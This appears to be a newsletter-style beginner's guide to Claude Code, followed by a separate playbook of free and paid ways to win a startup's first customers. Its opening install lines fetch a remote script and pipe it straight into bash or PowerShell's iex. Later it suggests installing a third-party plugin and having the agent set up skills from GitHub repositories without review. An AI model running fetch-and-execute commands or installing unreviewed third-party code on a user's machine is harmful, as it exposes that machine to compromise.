Mac/Linux: curl -fsSL https://claude.ai/install.sh | bash

Windows PowerShell: irm https://claude.ai/install.ps1 | iex

Hit enter. Done.

Full instructions at code.claude.com/docs/en/quickstart.

3 ways to pay:

- Max plan ($100/month, or $200/month for more): flat monthly fee, unlimited usage. Best if you’re using it daily for business.

- Pro plan ($20/month): monthly subscription, limited usage. Good for getting started.

If you’re a business owner who’ll use this every day, go Max. Don’t think about it. The ROI shows up in the first week. I’ve been on Max $200/month for a very long time and cancelled many other subscriptions as a result.

3. File Access

This is the concept where Claude Code stops being a chatbot and starts being useful.

Claude Code reads and edits files on your computer. With your permission.

Not “paste your document into a chat window” like ChatGPT. It SEES your actual files. Your proposals, your spreadsheets, your client folders. And it edits them directly.

Before: copy-pasting your proposal into ChatGPT, losing all the formatting, getting a generic response.

After: “read my proposal.docx and tighten the executive summary” and Claude opens the file, reads it, and rewrites the section IN your document. You don’t have to copy-paste or drag-and-drop because Claude can just find it and update it directly.

Claude can also CREATE files, not just read them. Try this next:

Open the file to check it out :)

4. Image + PDF Reading

Besides text, Claude Code sees images, screenshots, PDFs, diagrams, photos of whiteboards, mockups, receipts. Drop a file in and it reads it.

Take a screenshot of an error message and paste it. Drag in a PDF invoice. Share a photo of your whiteboard brainstorm. Claude reads it all and works with it like text.

Before: manually retyping what’s on a screenshot or PDF. Or describing an image to ChatGPT and hoping it understands.

After: drop in the image. Claude sees it, reads it, and acts on it.

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Section 2: Your First Real Tasks

5. Tool Use (Claude ACTS, Not Chats)

This is the paradigm shift. Forget everything you know about chatbots.

Claude Code doesn’t chat. It ACTS.

It reads files, edits documents, runs commands, searches your folders, fetches web pages, connects to your apps. Each action is a “tool.” You see them happening in real time as Claude works.

Here’s what a tool call looks like in practice: you ask Claude to find invoices. It uses the search tool to scan every file in your folder. Then it uses the read tool to open each match. Then it uses the write tool to create a summary document.

Tools are built into Claude Code. MCP (concept #25) lets you add MORE tools by connecting external apps like Airtable, Google Drive, and Slack. The difference: tools are what Claude does on your computer. MCP extends those tools to the internet.

Before: AI gives advice and YOU do the work. “Here are the steps to update your spreadsheet...”

After: AI does the work and you review. “Here’s your updated spreadsheet. I changed 47 rows.” You SEE each tool call happening as it works.

Now, you’ll see Claude READING, then THINKING, then WRITING.

6. How to Talk to Claude Code

The #1 mistake: vague prompts.

“Help me with my marketing” = garbage in, garbage out.

“Write a 3-email welcome sequence for my dog walking business. Casual tone, mention our GPS tracking feature, each email under 200 words, include a CTA to book a free walk” = RESULTS.

Be specific. Say what you want AND what you don’t want. Give constraints. Name files. The more specific your ask, the more specific the result.

Tag specific files with @ to make sure Claude reads the right ones. Type @ and autocomplete shows your files. @budget_2024.xlsx pulls in your budget. @client_list.csv pulls in your client list. It’s like tagging someone in a group chat, but for files.

And here’s a power move: instead of trying to write the perfect prompt, let Claude help you write it.

Before: vague prompts, vague results, frustration, “AI doesn’t work.”

After: specific asks, specific results, shipped work, “how did I live without this?”

7. CLAUDE.md (Your AI’s Instruction Manual)

This is where Claude Code gets PERSONAL.

A CLAUDE.md file is a document you write once, and Claude reads it at the start of EVERY conversation. It’s your AI employee’s job description.

“Here’s how my business works. Here are my brand rules. Here’s what I NEVER want you to do. Here are the tools I use. Here’s my writing style.”

Teach it once, it knows every time. No more repeating yourself every conversation.

In Claude Code, you don’t even need to know how to create files. Say: “create a file called CLAUDE.md with these 3 rules” and tell it your rules. Done.

Before: “Remember, I want you to...” every single conversation. “I TOLD you yesterday, don’t use this format!”

After: write it once in CLAUDE.md. Claude follows your rules from now on. Forever.

8. Plan Mode

If you learn ONE thing from this newsletter, make it this.

Plan mode means Claude writes out its full approach BEFORE making any changes. You review the plan, adjust it, approve it... THEN it builds.

It’s like getting a proposal from a contractor before they start demolishing your kitchen. You see what they’ll do, how they’ll do it, and what it’ll cost. Then you say “go.”

90% planning, 10% building.

Without plan mode, Claude rewrites half your files and you have no idea what happened. With plan mode, you’re the boss reviewing a proposal. I personally spend MOST of my time in plan mode for mission-critical activities, such as coding.

Before: Claude makes 47 changes and you have no idea what happened or why.

After: you see the plan, approve each step, stay in control. THEN it executes. Fast and right. As best practice, you should continue watching what Claude actually does in case it goes down the wrong rabbit hole, and you need to interrupt it.

Next, review the plan. You can select text in the plan and add comments, just like collaborating on Google Docs. Claude will read your feedback and improve the plan.

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Section 3: How Claude’s Brain Works

9. Context Window

Think of Claude’s memory as a whiteboard.

Everything you say, every file it reads, every response it gives... all goes on the whiteboard.

The whiteboard is big. But it’s not infinite.

When it fills up, older stuff gets summarized to make room. Like taking a photo of the whiteboard before erasing part of it to write more.

This is why Claude sometimes “forgets” what you said 20 minutes ago. The whiteboard filled up and your early notes got compressed. Your early notes blend in with everything else, and it gets increasingly hard to understand what was truly important among all your notes.

Understanding this changes how you use Claude Code. Long, rambling conversations fill the whiteboard fast. Short, focused sessions keep it clean.

10. Tokens + Cost Management

Tokens are how AI measures text. Every word you send and every word Claude sends back costs tokens. There’s a max per conversation (the whiteboard size).

Type /usage to see your spending. It shows input tokens (what you sent) vs output tokens (what Claude sent back). Type / and click “Account & usage” for a fuller breakdown.

4 ways to keep costs down:

1. Switch to a cheaper brain for simple tasks. You have 3 brains to choose from (next concept). Use the expensive one for big tasks, the cheap one for quick questions.

2. Use /clear between unrelated tasks. Don’t let old context pile up.

3. Use /compact during long sessions. Compresses the whiteboard without losing key details.

4. Install the context-mode plugin. It significantly reduces context usage by managing what Claude reads more efficiently. Run these 2 commands: /plugin marketplace add mksglu/context-mode then /plugin install context-mode@context-mode. Full details at github.com/mksglu/context-mode.

11. Model Selection (Picking the Right Brain)

Claude Code gives you 3 brains:

- Opus: the smartest, most thorough, most expensive. Use it for complex projects, big rewrites, anything where quality matters more than speed.

- Sonnet: fast, capable, affordable. Your daily driver. Use it for everyday tasks, quick edits, routine work.

- Haiku: cheap and quick. Use it for simple questions, quick lookups, anything where speed matters more than depth.

You switch mid-conversation based on the task. Building a full marketing strategy? Opus. Renaming a file? Haiku.

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Section 4: Managing Conversations

12. /compact

Summarizes your conversation into a condensed version, freeing up whiteboard space WITHOUT losing the key points.

Remember the whiteboard from concept #9? /compact is like taking a photo of the whiteboard, erasing it, and writing a tight summary. You keep the important stuff, lose the fluff, and now you have room for more work.

13. /clear

Wipes your current conversation. Clean slate.

Use it when you’re switching to a totally different task. If you were working on email sequences and now you want to brainstorm product names, type /clear first. Old context confuses new work.

14. Session Management

Each conversation is a session. Close the terminal, come back tomorrow, pick up where you left off.

Type claude --resume and you’re back in your last session. Your work doesn’t disappear.

Start fresh sessions for new topics. Resume old sessions for ongoing work.

Before: losing your entire conversation when you close the window.

After: pick up tomorrow exactly where you stopped.

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Section 5: Controlling Claude

15. Permission Modes + Settings

You control how much freedom Claude has. Like setting parental controls, but for your AI employee.

From “ask me before every single edit” (safe, slow, good for learning) to “do whatever you need” (fast, you trust it, good for routine tasks).

Press Shift+Tab to cycle through modes. When you’re new, keep the guardrails tight. As you build trust, loosen them.

You also configure default settings. Your default permission level, preferred model, and other preferences all live in one place. Set your defaults once and every new session starts the way you want.

Before: Claude running wild making changes you didn’t approve. Or asking permission for every tiny thing.

After: you set your comfort level and it matches your pace. Every session starts with your preferred defaults.

16. Effort Levels

Tell Claude how hard to think.

Low effort for quick answers (”what time zone is Denver in?”). High effort for complex problems (”restructure my entire pricing strategy”).

You don’t always need full brain power. Effort levels let you get fast answers for simple stuff and deep analysis for hard stuff. Change it anytime by typing /model and using the left/right arrow keys to adjust the effort slider.

There’s also a keyword: type “ultrathink” in your prompt and Claude maxes out its reasoning for one response. It’ll think through every edge case before answering. Also, it’s RAINBOW COLORED!!

Before: waiting 30 seconds for Claude to overthink a simple question.

After: low effort for quick stuff, ultrathink for the complex stuff.

In VSCode, there’s a nice shortcut - you can just type /effort.

17. Interrupt + Redirect

Press Escape anytime to stop Claude mid-task.

Like telling an employee “stop, new priority.” Claude stops immediately and waits for your next instruction. No work is lost. You pivot.

Before: watching Claude spend 2 minutes doing the wrong thing because you gave a bad instruction.

After: Escape, correct course, keep moving. Instant pivot.

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Section 6: Reviewing Work + Teaching Claude

18. Visual Studio Code

You’ve been using the terminal for a few days. You’re getting comfortable. Now let me show you something better for REVIEWING Claude’s work.

VS Code is a free app (it says “code editor,” but don’t let the name scare you).

It’s like fancy Google Docs, so you and Claude Code can collaborate and review files together!

FUNNNNN :D

It shows your files with nice formatting, tabs, and a sidebar. Claude Code runs right inside it.

When Claude edits 5 files, you want to SEE what changed. VS Code shows you exactly which lines were added, removed, or modified. Color-coded. Side by side.

The terminal is great for giving AI instructions. VS Code is great for giving instructions AND reviewing the results.

Before: squinting at the terminal trying to figure out what Claude changed.

After: VS Code shows every change, highlighted, in context. You review like a boss and approve.

On the left sidebar, if you click the Claude Code icon, you’ll see ALL your Claude sessions including your local Claude Code session, as well as your web-based Claude.ai sessions!

Disadvantages of Visual Studio Code include:

- the official Claude Chrome VSCode extension sometimes doesn’t have features yet, such as remote control and btw at time of this writing, however you can always launch a terminal within VSCode

- terminal will have the least bugs in general; Claude Code VSCode extension sometimes has weird quirks or freezes

- it may be unnecessary/heavy if you don’t need to heavily review your AI employee’s outputs

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19. Memory

Think of CLAUDE.md (concept #7) and Memory as two different things.

CLAUDE.md is your instruction manual. Your playbook/SOP for a project. You write it. It’s like handing a new employee a job description on day 1: “here’s how we do things, here are the tools, here are the rules.” It loads every conversation automatically. You can also have a global CLAUDE.md that’s like a “meta instruction manual” applying to all projects.

Memory is Claude’s personal notebook. Claude writes it (or you tell it to). It’s like an employee jotting down notes after meetings: “boss prefers casual tone, last time I used formal language she corrected me, the database field is called ‘Video URL’ not ‘Drive URL’.”

Put the system in CLAUDE.md: API references, account IDs, workflow steps, project structure. Stuff you’d put in a wiki.

Let preferences accumulate in memory: your writing style, corrections you’ve given, context about ongoing work. Stuff you’d tell a coworker once and expect them to remember.

If you find yourself repeating the same correction, tell Claude “remember this.” If it’s a rule every conversation needs from line 1, put it in CLAUDE.md.

Before: repeating your preferences every conversation. “I TOLD you yesterday!”

After: correct Claude once. It writes it down. It never forgets.

20. Project Scope vs Global Scope

Your dog walking app has different rules than your Etsy candle shop. But your name and preferences are the same everywhere.

Project scope: settings applying ONLY to your current project folder. Each project gets its own CLAUDE.md, its own rules, its own playbook.

Global scope: settings following you everywhere. Your name, your writing style, your preferences.

Think of it like having different employee handbooks for different departments, but 1 company-wide policy covering all of them.

Before: your blog project rules bleeding into your app project.

After: each project has its own playbook. Global preferences stay consistent.

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Section 7: Skills + Automation

21. Slash Commands

Type “/” in Claude Code and a menu pops up. Quick actions you’ll use all the time:

/help, /clear, /compact, /model, /usage.

There are also 2 hidden gems most people miss:

- /insights shows you patterns in how you’ve been using Claude Code. What’s working, what’s not, where you’re spending the most tokens. It’s your personal performance dashboard.

- /btw lets you give Claude a side note without interrupting its current task. Claude is halfway through rewriting your proposal and you realize “oh, I forgot to mention, use my new phone number.” Type /btw use 555-1234 as my phone number and Claude absorbs it without losing its place. As of March 13 2026, this command is currently available in terminal, not yet in the VSCode Claude Code extension.

22. Skills (Your Custom Workflows)

THIS is where Claude Code goes from useful to life-changing.

I frequently hear from folks who followed my Claude Code tutorials: “MIND BLOWING!!”

A skill is a set of instructions saved as a file. They can be chained together. They can do complex things. Type /skill-name and an entire workflow runs.

Claude Code will always interpret your prompt, then determine what skill(s), if any, it should use. Or you can trigger the skill manually by typing /skill-name.

Here’s what my /crosspost skill does with 1 command:

1. Searches Google Drive for my latest finished videos (file access + tool use)

2. Downloads each video to my computer temporarily (file system tools)

3. Transcribes the audio using Whisper, a speech-to-text tool running locally on my machine (terminal commands)

4. Matches each transcript to its topic in my Airtable database (MCP connection to Airtable)

5. Reads my brand voice rules from my CLAUDE.md and writing templates (file access + context)

6. Writes 3 types of captions per video: a long SEO description for TikTok/YouTube/Instagram/Facebook, a short conversational tweet for Twitter/Threads/Bluesky, and a standalone text post for Substack (AI writing with constraints)

7. Runs every caption through a quality gate blocking banned words, checking character limits, catching vague references, and rejecting formatting I don’t use (hooks, concept #23)

8. Shows me all the captions in a review file so I approve them before anything goes live (plan mode philosophy, draft approval)

9. Publishes to 7 platforms simultaneously via Blotato’s API (MCP tool calls, parallel subagents)

10. Stores the Substack caption in Airtable for my n8n automation to pick up and post later (MCP + external automation)

11. Updates my Airtable database with the transcript, captions, post date, and status for every video (MCP + record keeping)

12. Renames the original files on Google Drive so I know they’ve been posted (file management via API)

13. Create DM automations by launching Claude Chrome extension, cloning DM automation templates, and swapping out the keyword and links.

1 command. 8 platforms. 12 steps.

All the concepts you’ve learned working together!

And it does this in parallel with subagents. If I have 5 videos, it spawns 5 mini-Claudes to transcribe them all at once, then 5 more to publish them all at once. What would take me 3 hours takes 10 minutes.

THIS is what a skill looks like at full power.

A markdown file with instructions turning Claude Code into your AI employee.

You don’t need to start this complex. Your first skill should be dead simple.

A /weekly-recap skill. It reads all the files you changed this week, summarizes what you worked on, and drafts a 3-paragraph update email for your team or clients. File access + AI writing + your CLAUDE.md voice rules. Concepts you already know.

1 command. Every Friday. Done in 30 seconds.

Later, when you add MCP connections (concept #25) and Perplexity (concept #26), your skills get WILD. A /fact-check skill reads your content line by line, searches the internet for primary sources, and flags anything unverified. But start simple.

Before: writing the same 500-word prompt every time you want to run a recurring workflow.

After: /skill-name and the entire thing runs. Build it once, use it forever. Improve it over time.

23. Hooks (Automated Guardrails)

Hooks are scripts running automatically before or after Claude takes an action. Guardrails you don’t need to remember.

In my /crosspost skill, I have a quality gate hook. Every time Claude tries to publish a post, the hook automatically intercepts it and checks:

- Are there any banned punctuation marks? (I block specific ones from my brand voice.)

- Are there banned words? (40+ words I’ve banned.)

- Is the caption over the platform’s character limit?

- Is there missing media for platforms needing it?

- Does the text reference “this website” without naming the specific website?

If ANY check fails, the hook blocks the post. Claude has to fix the issue and try again. This happens automatically. I don’t need to remember to check. The guardrail is built in.

You also get a desktop notification when long tasks finish, so you don’t need to stare at the screen waiting.

You set up hooks by telling Claude what you want. Claude creates the hook for you.

Before: forgetting to proofread, shipping typos, breaking your own brand rules.

After: automated quality checks every single time. You set the rules, hooks enforce them.

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Section 8: Connecting Claude to the Real World

24. Web Browsing

Claude reads any webpage you give it.

Paste a URL and it fetches the page, reads the content, and works with it. Competitor pricing pages, blog posts, documentation, job listings, recipes... anything public on the internet.

Here’s what makes this different from ChatGPT: Claude Code reads the page AND takes action. It doesn’t stop at a summary. It writes a comparison doc, saves it to your project folder, and moves on to the next task.

Before: manually copying website text into a chat window, losing formatting, missing sections.

After: Claude fetches the page, pulls the data, creates a file with the analysis, and saves it. You review the finished document.

25. MCP Servers (From Consultant to Employee)

MCP stands for Model Context Protocol. In plain English: it’s the bridge between Claude and your real tools.

Remember tools (concept #5)? Those are what Claude does on your computer: reading files, searching folders, running commands. MCP extends this to the INTERNET. It connects Claude to apps like Google Drive, Slack, Notion, Airtable, Stripe, Perplexity, and your email.

Without MCP, Claude says “go update your Airtable.” With MCP, Claude UPDATES your Airtable.

My /crosspost skill uses 3 MCP connections: Airtable (to read topics and update records), Blotato (to publish to 7 social platforms), and Google Drive (to find and download videos). Claude talks directly to these tools. No copy-pasting. No switching tabs.

Before: Claude says “here’s what you should update in your spreadsheet.” And YOU do it.

After: Claude updates the spreadsheet, confirms the change, and moves to the next task.

Once you’ve connected Airtable MCP, try asking Claude to read or update items in your Airtable!

Type /mcp to see all your current MCP servers.

26. Perplexity MCP (AI-Powered Web Research)

Web browsing (#24) lets Claude read pages you point it to. Perplexity MCP lets Claude RESEARCH the entire internet with verified sources. I personally use Perplexity MCP ALL THE TIME instead of Claude’s native internet capabilities.

This step is optional, but I highly recommend it.

Instead of “read this 1 link,” it’s “go research this topic, find the 10 best verified sources, and tell me where you got each fact.”

This is the upgrade from reading 1 article to having a research assistant who reads 50 and gives you the summary with citations.

Note: Perplexity has its own pricing (free tier + paid plans at perplexity.ai). Check their site for current numbers.

Before: Claude reads the 1 page you gave it.

After: Claude finds the best sources using Perplexity MCP tailored to research, synthesizes sources, and cites every piece of info.

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Section 9: Agents, Remote Control + Scheduling

27. Subagents (Automatic Parallel Workers)

When you give Claude a task with multiple independent parts, it automatically spawns mini-Claudes to handle them in parallel. You don’t need to ask for it. You don’t need to set it up. Claude decides on its own when parallel work would be faster.

“Research these 5 competitors” becomes 5 agents working simultaneously instead of 1 going through them 1 by 1.

In my /crosspost skill, if I have 5 new videos, Claude spawns 5 transcription agents at once. All 5 videos get transcribed simultaneously. Then 5 more to publish them all at once. What used to be sequential is now parallel.

You’ll see it happening in the output. Multiple tasks running at the same time. No configuration needed.

Before: watching Claude research competitors sequentially for 10 minutes.

After: 5 agents, 2 minutes, same work. Automatically.

Sit back and watch it spawn 5 agents working simultaneously!

It will say “Agent: Research XX competitive analysis” 5 times :) these are your AI employees working in parallel.

28. Remote Control (Use Claude From Your Phone)

Start a Claude Code session on your computer, then continue it from the Claude mobile app on your phone. Walk away from your desk. Keep working from the couch, a coffee shop, anywhere.

Your computer does all the heavy lifting. The phone is the remote control.

As of March 13 2026, remote control is available in terminal, but NOT in Visual Studio Code’s official Claude Chrome extension.

Pro tip: you can always open a terminal within VSCode!

How to set it up:

1. Make sure you’re on Claude Code v2.1.51+ (type claude --version to check, claude update to upgrade)

2. Type claude remote-control in Terminal (or /rc inside an existing session)

3. A QR code appears on screen. Scan it with your phone camera.

4. The Claude mobile app opens directly to your session. You’re connected.

Everything stays on your machine. The phone is a window into your local session.

To enable this by default: type /config inside Claude Code, find “Enable Remote Control for all sessions”, toggle it on. Now every session is accessible from your phone automatically.

Before: need to be at your desk to use Claude Code.

After: start a task at your desk, continue it from your phone while walking the dog or ruminating on the toilet. CEO mode.

29. Scheduled Tasks (/loop)

Schedule Claude to run tasks on a recurring timer using /loop.

/loop 1h check if any new files were added to my Google Drive

/loop 1d pull my marketing data from Airtable and summarize

You write the interval and the task in plain English. Claude runs it automatically in the background. Type Show me all my scheduled tasks to see what’s running and cancel anything you don’t need.

2 things to know: tasks in the terminal only run while your session is open (close the terminal, they stop). And they auto-expire after 3 days as a safety net.

For permanent recurring tasks, you’d have to use the Claude Code Desktop app, which has other limitations. Personally, this is why I still use n8n for its orchestration layer, especially with n8n-mcp which allows Claude Code to create and fix all my n8n automations.

Before: manually pulling the same report every morning.

After: /loop 1d summarize yesterday’s sales and it’s waiting for you when you sit down.

30. Version Control with Git

Every time Claude makes changes, you want a save point you can roll back to. That’s git. It’s already built into Claude Code.

Git is LOCAL. It saves versions on your computer. Think of it like a timeline of every change Claude ever made. You can rewind to any point. Nothing gets lost.

GitHub is the OPTIONAL cloud layer on top. It backs up your project online, lets you share it with a developer, and lets them review what Claude did. If you work with a team or want cloud backup, it’s worth setting up. But if you’re working solo, local git is all you need to start.

Claude Code works with both natively. Save versions, create branches, roll back mistakes, open pull requests for your developer to review... all from the terminal.

Before: Claude makes changes and you pray nothing breaks. No undo button.

After: every change is saved, documented, and reversible. You roll back to any previous version in seconds.

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Where to Start (Don’t Learn All 30 at Once)

The shiny object trap is the #1 waste of time. Master 5 concepts before adding the next 5.

Your first week (concepts 1-8):

1. Install it and open the terminal

2. Give it a file and watch it read + edit

3. Watch the tools work in real time (concept 5)

4. Create a CLAUDE.md with 3 rules for your main project

5. Use Plan mode for your first real task

After a week (concepts 9-20):

- Learn how the whiteboard works and manage your costs

- Switch between models to save money

- Set up memory so Claude remembers your preferences

- Build your first skill (start with something simple)

- Try VS Code for reviewing changes

After a month (concepts 21-30):

- Connect your first MCP server (Airtable, Notion, or Google Drive)

- Add Perplexity MCP and create a /fact-check skill

- Install the context-mode plugin to reduce token usage

- Set up remote control to use Claude from your phone

- Schedule a recurring task with /loop

- Save your work with git so you can roll back anytime

- Check /insights to see what’s working and optimize your usage

- Browse prebuilt skills

Speaking of prebuilt skills... hundreds of free ones already exist on GitHub. Browsing these repos is one of the best ways to learn what’s possible AND save yourself the work of building from scratch:

- anthropics/skills: Anthropic’s official skills (docs, PDFs, slides, web apps, API builders)

- hesreallyhim/awesome-claude-code: a directory of the entire Claude Code ecosystem

- alirezarezvani/claude-skills: 180+ skills for engineering, marketing, compliance

Simply drop the URL into Claude Code and tell it to set up the 3 most relevant skills for your needs :)

Just my one /crosspost skill saves me 10+ hours every week. And I keep making it better. Finetuned to my exact use case. Build once, reuse forever, improve over time.

Start today. Open the terminal. Type `claude`. Build something.

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Most startups die before they hit 5 customers.

Not because the product is bad. Because the founder doesn’t know where to FIND people.

I put together my FULL playbook for getting your first customers.

15 free methods. 6 paid methods. Every single one I've either done myself, am testing right now, or plan to try.

I grew Blotato from 0 to thousands of paying customers, completely SOLO, and I'm STILL doing most of these marketing channels.

None of them "tapped out."

They all keep working, 100x more users later.

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The FREE Methods

1. Reach Out to Friends, Family, and Past Colleagues

I’m going to be honest. I skipped this one entirely.

I didn’t know any content creators or influencers in my network. And I didn’t want to deal with explaining what I was building to people who wouldn’t get it.

But if your product or service is relevant to people in your warm network... start here.

I know consultants who landed their first client from a friend’s referral. They did the work, built a case study, and used it to reach out to strangers.

The benefit of warm relationships: you have leeway to figure things out. You’re not under pressure to nail it for a cold client on day 1.

Even 1 or 2 warm users gives you a testimonial, a case study, and the confidence to go bigger.

2. Send DMs on Instagram, Substack, Twitter, and LinkedIn

People sleep on this one SO hard.

I check my DMs. I check people who offer value. And I’ve hired from cold DMs.

Real example: I posted this LinkedIn post sharing feedback from my husband about my YouTube videos needing more polish. It wasn’t a hiring post.

A guy commented saying he re-edited one of my videos with a before and after sample. Then he cold DM’d me directly.

I hopped on a call with him the next day. Engineering background. Hired him on the spot. He edits my YouTube videos now.

Here’s the formula:

Find someone relevant. Do the work upfront. Show them a sample BEFORE asking for anything. Make it dumb simple for them to say yes.

The OTHER way to use DMs is to have people DM YOU.

I posted this Instagram video and said “comment X to get the free template.” Almost 3,000 comments in a day. All automated with ManyChat on the backend.

You don’t need 3,000 comments. 30 people raising their hand is HUGE when you’re starting out.

You’d be surprised how often people respond to professional, non-salesy DMs. Be a human. Offer value first.

3. Post on Facebook, Skool, and WhatsApp Groups

I neglect this path. And every single time I do it, it works.

Real example: I’m in the n8n Developers Facebook group. I copied a description from my help docs, explained what the automation does, and posted the template in the comments linking to my product.

Didn’t go viral. Didn’t need to.

Every person in a niche Facebook group is HIGHLY qualified. They’re already interested in the exact thing you do.

The mistake people make: they spam and sell without ever contributing.

I answer questions. I share automations with nothing to do with Blotato. I show up as a real member of the community. So when I DO post about my product, people support it.

My last post was in October. I keep telling myself to do this more. Every time I remember, it works. Then I forget again for months.

If you’re reading this and you haven’t posted in your niche communities this month... go do it. Right now.

4. Post Short Content and Videos on Social Media

I’m biased. I think everyone should do this.

I launched a full tutorial on exactly how to do this. Choosing a niche, copying hooks, everything.

The #1 mistake: people try to be too clever with their hooks.

Scroll Instagram. See what’s already going viral. Copy the hook. The title. The positioning. The colors. The font size.

Don’t change a billion things. Look as close to the original viral video as you’re able to. Then put YOUR spin on the content.

For engagement, pick 1 primary platform. After you post, engage for the first hour. If a video gets more views than usual in hour 1, double down on the winner. Reply to every comment on your winner.

You don’t need to engage on every video across every platform. Pick the one taking off.

One website I LOVE for inspiration: Social Growth Engineers. They curate viral TikTok videos. It’s mindblowing to see the creative hooks people use to promote apps and products.

I subscribe to their free newsletter. It’s one of the only newsletters I look forward to reading every week.

5. Post Long-Form YouTube Videos

This is different work than short-form. WAY different.

My short-form is raw, authentic, unscripted. My long-form used to be completely off the cuff too. Now I prep outlines and have a video editor.

The strategy: post videos showcasing your expertise. If you sell AI automations, post a full AI automation course. Tutorial-style content where your product is naturally woven in.

Don’t make the video ABOUT your product. Make it about the problem. Your product shows up as the solution while you’re teaching.

If you’re a consultant, go deep on your area. Financial advisor? Post long-form breakdowns of tax strategies. Your authority builds with each video.

This is a slower burn than short-form. But the people who find your long-form content are MUCH more qualified. They spent 20 minutes with you. They trust you way more than someone who saw a 30-second TikTok.

6. Send Cold Email

I haven’t done this for Blotato. I was so scarred from cold outbound at my 1st startup, I’ve avoided it.

But I see the math.

Use AI and automation to scrape emails. Google Business listings are a goldmine for local businesses. You write the value prop, AI personalizes at scale, and you send.

If your targeting is right and your value prop is right… it’s cost-effective and scalable.

This is definitely a channel I’m interested in exploring.

7. Submit to Directories

Product Hunt is the obvious one. But it’s hard to rank top 3 without an existing user base or community.

But there’s also SubmitJuice, which automates submissions to tons of directories at once.

This is a “set it and forget it” type of task. Submit your product, get backlinks, pick up a few users who are browsing directories.

I don’t think this drives massive traffic on its own. But it compounds with everything else.

More backlinks = better SEO = more organic traffic over time.

8. Revenue Share with Affiliate Partners

Find people who already have your audience. Offer them a cut of every sale they send you.

This works GREAT when you find the right partners. The key: they need to genuinely understand your product and the pain points it solves.

One of my biggest challenges with affiliate and influencer marketing early on... non-technical influencers didn’t understand the API side of Blotato. And the web app didn’t get much love so it remained confusing to use.

As a result, their content came across inauthentic because they couldn’t articulate what it does and many THOUSANDS of dollars totally wasted with negative ROI.

Don’t do what I did! You want affiliates who USE your product and understand the space. Who feel the pain it solves. Who talk about it like it’s their own.

9. Post on Relevant Product Forums

If your product integrates with another product, go hang out where THEIR users are.

Blotato integrates with n8n. So I post templates on the n8n workflow library and contribute to the n8n community forum.

Every template links back to my product.

Every forum answer builds credibility.

This is free, targeted, and compounds over time. The templates stay up FOREVER. People find them months later and become users.

10. Rank in AI SEO for a Specific Keyword

This one I haven’t started. And I’m kicking myself.

The play: target “Competitor + Alternatives” keywords. Like “Buffer alternatives” or “Hootsuite alternatives.”

People searching those keywords are READY to switch. They’re already looking for something new. They’re warmed up, educated, bottom-of-funnel potential users. You don’t need to convince them they need the product category.

You just need to show them YOUR product is better.

I plan to do an SEO push with Claude Code soon. I want to automate 95% of my SEO, then open-source everything I did :)

11. Build Free Public Lead Magnets

I built an AI agents directory in about 1 hour.

It’s a curated spreadsheet.

Thousands of people visit it every month. My Supabase backend kept hitting quota limits from the traffic so I recently upgraded it.

The directory has my product naturally embedded. If someone’s looking for content creation tools, Blotato shows up as “featured.” If they’re looking for customer support tools, it doesn’t show up. Because it’s not relevant.

Your product appears naturally where it fits. No hard sell.

Other lead magnet ideas:

Curate 500 viral hooks for your niche. Give away the first 500 free. Gate the next 500 behind an email signup.

The lead magnet does double duty: drives traffic AND collects emails.

12. Offer Influencers a Webinar or Masterclass

Flip the script. Instead of paying an influencer to promote you, offer to HOST a free high-value webinar for their audience.

You bring the expertise. They bring the audience. Win-win.

You get in front of a warm audience, you demonstrate your expertise, and your product is woven into the demo naturally.

To get an influencer to agree to this, however, you need to be incredibly generous in providing value first. We generally don’t put randos in front of your audience :) engage naturally in their audience/community, give a ton of value, then make the proposal.

13. Reverse Job Board with Upwork

Go on Upwork. Search for people looking for help with the problem your product solves.

Pitch them your tool or service as the solution.

This is a bit more manual. But the people on Upwork are ACTIVELY looking for a solution and willing to pay for it. You’re not convincing anyone they have a problem. They already know.

14. Create a Free Custom GPT

I built a custom GPT called Viral Hooks for Short Form Video.

I had a database of 1,000+ viral hooks I scraped from TikTok. I made it a free lead magnet. Then loaded it into a custom GPT.

Now thousands of people use it. Blotato is mentioned right in the GPT. It drives awareness with zero ongoing effort from me.

If you have any kind of valuable dataset or framework, turn it into a free GPT. It takes an hour. The traffic compounds.

15. Build Local Relationships

Chamber of Commerce. Local Facebook groups. Meetups.

I haven’t done this. I’m introverted. I don’t love talking to people in person.

But if your product or service targets local businesses... this is gold. Show up, build relationships, become the “AI person” in your local network.

Not every business needs to scale globally. Some of the best first customers come from your neighborhood.

The PAID Methods

16. Pay for Leads with Apollo

Apollo lets you search for specific types of people and companies, get their emails, and reach out.

I’ve poured over $100,000 into paid acquisition channels. The ROI has been NEGATIVE. Like, a lot negative.

Be careful with this one. Start small. Test your messaging. Don’t dump your budget into cold outreach before you’ve validated your value prop with free methods first.

17. Facebook Ads Funnel to Landing Page

Classic paid acquisition. Run ads. Send people to a landing page. Convert.

I’ve spent money here. Lost money here. Learned a lot.

If you’re going to do this, start with a tiny budget. Like $10-20/day. Test different hooks and landing pages. Don’t scale until you see positive ROI.

Most people throw money at ads before they’ve figured out their messaging. Fix the messaging with free methods first. THEN amplify with ads.

18. Vibe Code Micro Apps to Drive Traffic

Build a small, free tool related to your product. Something people search for.

Example: Taplio built a free LinkedIn post generator. People search “LinkedIn post generator,” find the free tool, love it, and upgrade to the paid product.

I do this. The tool itself is free. But you’ll pay for vibe coding tools and hosting.

The ROI is wild once you rank for the right keyword. It’s like SEO but you’re ranking a TOOL, not an article.

19. Micro Press Coverage with HARO and ABNewswire

HARO (Help a Reporter Out) lets you answer journalist calls for quotes. I used this at my first startup and got featured in Business Insider.

It’s 1 quote from you, your name, your title, and a link to your product. Free backlinks. Free credibility.

ABNewswire is something I’m testing right now. You pay $80 for a press release targeting a specific keyword. The press release goes out to news outlets and... you start showing up in ChatGPT AI answers for those keywords.

I saw someone on Instagram say they did this and started ranking in AI search results. I’m testing it with “social media scheduling API” as my target keyword.

$80 experiment. We’ll see.

20. Listen to Social Conversations with OGTool

OGTool and similar tools use AI to monitor social media conversations (Reddit, Twitter, forums) and surface the ones relevant to your product.

Every day, you get the top 3 Reddit posts about painpoints you solve. You go in there and reply with a genuine, helpful answer.

The mistake: people try to automate the REPLY too. Don’t.

Use AI to find the conversations. Be a human when you engage. Share something personal. Be a little vulnerable. It stands out like crazy compared to the obviously bot-written responses.

This is on my to-do list. I see the value. I haven’t gotten around to it because I have so many comments coming in every day. I don’t want MORE conversations.

But it works. Especially for SEO and LLM visibility. Your replies get indexed by ChatGPT and other AI engines.

21. Sponsor Niche Newsletters or Micro Influencers

Passionfroot is a platform with a curated directory of influencers. You search by niche, follower count, platforms, and pricing.

